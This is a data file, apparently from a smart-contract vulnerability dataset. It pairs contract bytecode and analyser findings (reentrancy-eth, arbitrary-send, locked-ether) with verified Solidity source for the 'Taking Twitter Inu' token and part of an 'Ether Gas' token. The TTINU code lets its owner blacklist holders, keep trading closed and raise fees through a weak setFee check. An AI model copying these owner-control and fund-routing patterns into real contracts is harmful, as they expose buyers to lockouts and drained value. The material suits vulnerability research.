0333166000908152600160205260409020546109fe908363ffffffff610b7216565b600160a060020a033381166000908152600160205260408082209390935590851681522054610a33908363ffffffff610b5816565b600160a060020a038085166000818152600160209081526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610ada57600080fd5b600160a060020a0381161515610aef57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082820183811015610b6757fe5b8091505b5092915050565b600082821115610b7e57fe5b50900390565b600080831515610b975760009150610b6b565b50828202828482811515610ba757fe5b0414610b6757fe00a165627a7a7230582079f81b7185d08ce3f72bc9bad4dbadd1ba0eeb29ebc6457484ba3f6fdb3fc88e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,283 |
0x7d19f3ab2975216459bb7ace17d94e7fbb4df7bb
|
/**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
// SPDX-License-Identifier: Unlicensed
// Telegram: t.me/takingTwitterInu
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TTINU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Taking Twitter Inu";
string private constant _symbol = "TTINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 6;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 6;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 10000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055e578063dd62ed3e1461057e578063ea1644d5146105c4578063f2fde38b146105e457600080fd5b8063a2a957bb146104d9578063a9059cbb146104f9578063bfd7928414610519578063c3c8cd801461054957600080fd5b80638f70ccf7116100d15780638f70ccf7146104555780638f9a55c01461047557806395d89b411461048b57806398a5c315146104b957600080fd5b80637d1db4a5146103f45780637f2feddc1461040a5780638da5cb5b1461043757600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038a57806370a082311461039f578063715018a6146103bf57806374010ece146103d457600080fd5b8063313ce5671461030e57806349bd5a5e1461032a5780636b9990531461034a5780636d8aa8f81461036a57600080fd5b80631694505e116101ab5780631694505e1461027b57806318160ddd146102b357806323b872dd146102d85780632fd689e3146102f857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024b57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611972565b610604565b005b34801561020a57600080fd5b5060408051808201909152601281527154616b696e67205477697474657220496e7560701b60208201525b6040516102429190611a37565b60405180910390f35b34801561025757600080fd5b5061026b610266366004611a8c565b6106a3565b6040519015158152602001610242565b34801561028757600080fd5b5060135461029b906001600160a01b031681565b6040516001600160a01b039091168152602001610242565b3480156102bf57600080fd5b50670de0b6b3a76400005b604051908152602001610242565b3480156102e457600080fd5b5061026b6102f3366004611ab8565b6106ba565b34801561030457600080fd5b506102ca60175481565b34801561031a57600080fd5b5060405160098152602001610242565b34801561033657600080fd5b5060145461029b906001600160a01b031681565b34801561035657600080fd5b506101fc610365366004611af9565b610723565b34801561037657600080fd5b506101fc610385366004611b26565b61076e565b34801561039657600080fd5b506101fc6107b6565b3480156103ab57600080fd5b506102ca6103ba366004611af9565b6107e3565b3480156103cb57600080fd5b506101fc610805565b3480156103e057600080fd5b506101fc6103ef366004611b41565b610879565b34801561040057600080fd5b506102ca60155481565b34801561041657600080fd5b506102ca610425366004611af9565b60116020526000908152604090205481565b34801561044357600080fd5b506000546001600160a01b031661029b565b34801561046157600080fd5b506101fc610470366004611b26565b6108bb565b34801561048157600080fd5b506102ca60165481565b34801561049757600080fd5b506040805180820190915260058152645454494e5560d81b6020820152610235565b3480156104c557600080fd5b506101fc6104d4366004611b41565b61091a565b3480156104e557600080fd5b506101fc6104f4366004611b5a565b610949565b34801561050557600080fd5b5061026b610514366004611a8c565b6109a3565b34801561052557600080fd5b5061026b610534366004611af9565b60106020526000908152604090205460ff1681565b34801561055557600080fd5b506101fc6109b0565b34801561056a57600080fd5b506101fc610579366004611b8c565b6109e6565b34801561058a57600080fd5b506102ca610599366004611c10565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d057600080fd5b506101fc6105df366004611b41565b610a87565b3480156105f057600080fd5b506101fc6105ff366004611af9565b610ab6565b6000546001600160a01b031633146106375760405162461bcd60e51b815260040161062e90611c49565b60405180910390fd5b60005b815181101561069f5760016010600084848151811061065b5761065b611c7e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069781611caa565b91505061063a565b5050565b60006106b0338484610ba0565b5060015b92915050565b60006106c7848484610cc4565b610719843361071485604051806060016040528060288152602001611dc4602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611200565b610ba0565b5060019392505050565b6000546001600160a01b0316331461074d5760405162461bcd60e51b815260040161062e90611c49565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107985760405162461bcd60e51b815260040161062e90611c49565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107d657600080fd5b476107e08161123a565b50565b6001600160a01b0381166000908152600260205260408120546106b490611274565b6000546001600160a01b0316331461082f5760405162461bcd60e51b815260040161062e90611c49565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a35760405162461bcd60e51b815260040161062e90611c49565b6611c37937e0800081116108b657600080fd5b601555565b6000546001600160a01b031633146108e55760405162461bcd60e51b815260040161062e90611c49565b601454600160a01b900460ff16156108fc57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109445760405162461bcd60e51b815260040161062e90611c49565b601755565b6000546001600160a01b031633146109735760405162461bcd60e51b815260040161062e90611c49565b600954821115806109865750600b548111155b61098f57600080fd5b600893909355600a91909155600955600b55565b60006106b0338484610cc4565b6012546001600160a01b0316336001600160a01b0316146109d057600080fd5b60006109db306107e3565b90506107e0816112f8565b6000546001600160a01b03163314610a105760405162461bcd60e51b815260040161062e90611c49565b60005b82811015610a81578160056000868685818110610a3257610a32611c7e565b9050602002016020810190610a479190611af9565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7981611caa565b915050610a13565b50505050565b6000546001600160a01b03163314610ab15760405162461bcd60e51b815260040161062e90611c49565b601655565b6000546001600160a01b03163314610ae05760405162461bcd60e51b815260040161062e90611c49565b6001600160a01b038116610b455760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c025760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062e565b6001600160a01b038216610c635760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d285760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062e565b6001600160a01b038216610d8a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062e565b60008111610dec5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062e565b6000546001600160a01b03848116911614801590610e1857506000546001600160a01b03838116911614155b156110f957601454600160a01b900460ff16610eb1576000546001600160a01b03848116911614610eb15760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062e565b601554811115610f035760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062e565b6001600160a01b03831660009081526010602052604090205460ff16158015610f4557506001600160a01b03821660009081526010602052604090205460ff16155b610f9d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062e565b6014546001600160a01b038381169116146110225760165481610fbf846107e3565b610fc99190611cc5565b106110225760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062e565b600061102d306107e3565b6017546015549192508210159082106110465760155491505b80801561105d5750601454600160a81b900460ff16155b801561107757506014546001600160a01b03868116911614155b801561108c5750601454600160b01b900460ff165b80156110b157506001600160a01b03851660009081526005602052604090205460ff16155b80156110d657506001600160a01b03841660009081526005602052604090205460ff16155b156110f6576110e4826112f8565b4780156110f4576110f44761123a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113b57506001600160a01b03831660009081526005602052604090205460ff165b8061116d57506014546001600160a01b0385811691161480159061116d57506014546001600160a01b03848116911614155b1561117a575060006111f4565b6014546001600160a01b0385811691161480156111a557506013546001600160a01b03848116911614155b156111b757600854600c55600954600d555b6014546001600160a01b0384811691161480156111e257506013546001600160a01b03858116911614155b156111f457600a54600c55600b54600d555b610a8184848484611481565b600081848411156112245760405162461bcd60e51b815260040161062e9190611a37565b5060006112318486611cdd565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069f573d6000803e3d6000fd5b60006006548211156112db5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062e565b60006112e56114af565b90506112f183826114d2565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134057611340611c7e565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139457600080fd5b505afa1580156113a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113cc9190611cf4565b816001815181106113df576113df611c7e565b6001600160a01b0392831660209182029290920101526013546114059130911684610ba0565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143e908590600090869030904290600401611d11565b600060405180830381600087803b15801561145857600080fd5b505af115801561146c573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061148e5761148e611514565b611499848484611542565b80610a8157610a81600e54600c55600f54600d55565b60008060006114bc611639565b90925090506114cb82826114d2565b9250505090565b60006112f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611679565b600c541580156115245750600d54155b1561152b57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611554876116a7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115869087611704565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b59086611746565b6001600160a01b0389166000908152600260205260409020556115d7816117a5565b6115e184836117ef565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162691815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061165482826114d2565b82101561167057505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361169a5760405162461bcd60e51b815260040161062e9190611a37565b5060006112318486611d82565b60008060008060008060008060006116c48a600c54600d54611813565b92509250925060006116d46114af565b905060008060006116e78e878787611868565b919e509c509a509598509396509194505050505091939550919395565b60006112f183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611200565b6000806117538385611cc5565b9050838110156112f15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062e565b60006117af6114af565b905060006117bd83836118b8565b306000908152600260205260409020549091506117da9082611746565b30600090815260026020526040902055505050565b6006546117fc9083611704565b60065560075461180c9082611746565b6007555050565b600080808061182d606461182789896118b8565b906114d2565b9050600061184060646118278a896118b8565b90506000611858826118528b86611704565b90611704565b9992985090965090945050505050565b600080808061187788866118b8565b9050600061188588876118b8565b9050600061189388886118b8565b905060006118a5826118528686611704565b939b939a50919850919650505050505050565b6000826118c7575060006106b4565b60006118d38385611da4565b9050826118e08583611d82565b146112f15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062e565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e057600080fd5b803561196d8161194d565b919050565b6000602080838503121561198557600080fd5b823567ffffffffffffffff8082111561199d57600080fd5b818501915085601f8301126119b157600080fd5b8135818111156119c3576119c3611937565b8060051b604051601f19603f830116810181811085821117156119e8576119e8611937565b604052918252848201925083810185019188831115611a0657600080fd5b938501935b82851015611a2b57611a1c85611962565b84529385019392850192611a0b565b98975050505050505050565b600060208083528351808285015260005b81811015611a6457858101830151858201604001528201611a48565b81811115611a76576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9f57600080fd5b8235611aaa8161194d565b946020939093013593505050565b600080600060608486031215611acd57600080fd5b8335611ad88161194d565b92506020840135611ae88161194d565b929592945050506040919091013590565b600060208284031215611b0b57600080fd5b81356112f18161194d565b8035801515811461196d57600080fd5b600060208284031215611b3857600080fd5b6112f182611b16565b600060208284031215611b5357600080fd5b5035919050565b60008060008060808587031215611b7057600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611ba157600080fd5b833567ffffffffffffffff80821115611bb957600080fd5b818601915086601f830112611bcd57600080fd5b813581811115611bdc57600080fd5b8760208260051b8501011115611bf157600080fd5b602092830195509350611c079186019050611b16565b90509250925092565b60008060408385031215611c2357600080fd5b8235611c2e8161194d565b91506020830135611c3e8161194d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cbe57611cbe611c94565b5060010190565b60008219821115611cd857611cd8611c94565b500190565b600082821015611cef57611cef611c94565b500390565b600060208284031215611d0657600080fd5b81516112f18161194d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d615784516001600160a01b031683529383019391830191600101611d3c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dbe57611dbe611c94565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206fd5dbcedd781d41094ff03efe84f6b4815f588a7d7f24c74bb188ff1b6faf7364736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,284 |
0x1a08de230cbb7e00014c23a0e3cbb07fddda218a
|
/**
*Submitted for verification at Etherscan.io on 2021-10-17
*/
//SPDX-License-Identifier: MIT
/**
* ________ __ _________ _____
* / ____/ /_/ /_ ___ _____ / ____/ | / ___/
* / __/ / __/ __ \/ _ \/ ___/ / / __/ /| | \__ \
* / /___/ /_/ / / / __/ / / /_/ / ___ |___/ /
* /_____/\__/_/ /_/\___/_/ \____/_/ |_/____/
*
* Ether Gas - because gas price is the one thing you know will always go up.
* 0% tax token for your entertainment on slow days with High Gwei Gas.
* After launch the owner can only INCREASE transaction limits and change telegram address.
* Ownership will be renounced anyway once TX limits have been increased to the final value.
*
*/
pragma solidity ^0.8.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
constructor(address _owner) {
owner = _owner;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "Only contract owner can call this function"); _;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function transferOwnership(address payable newOwner) external onlyOwner {
owner = newOwner;
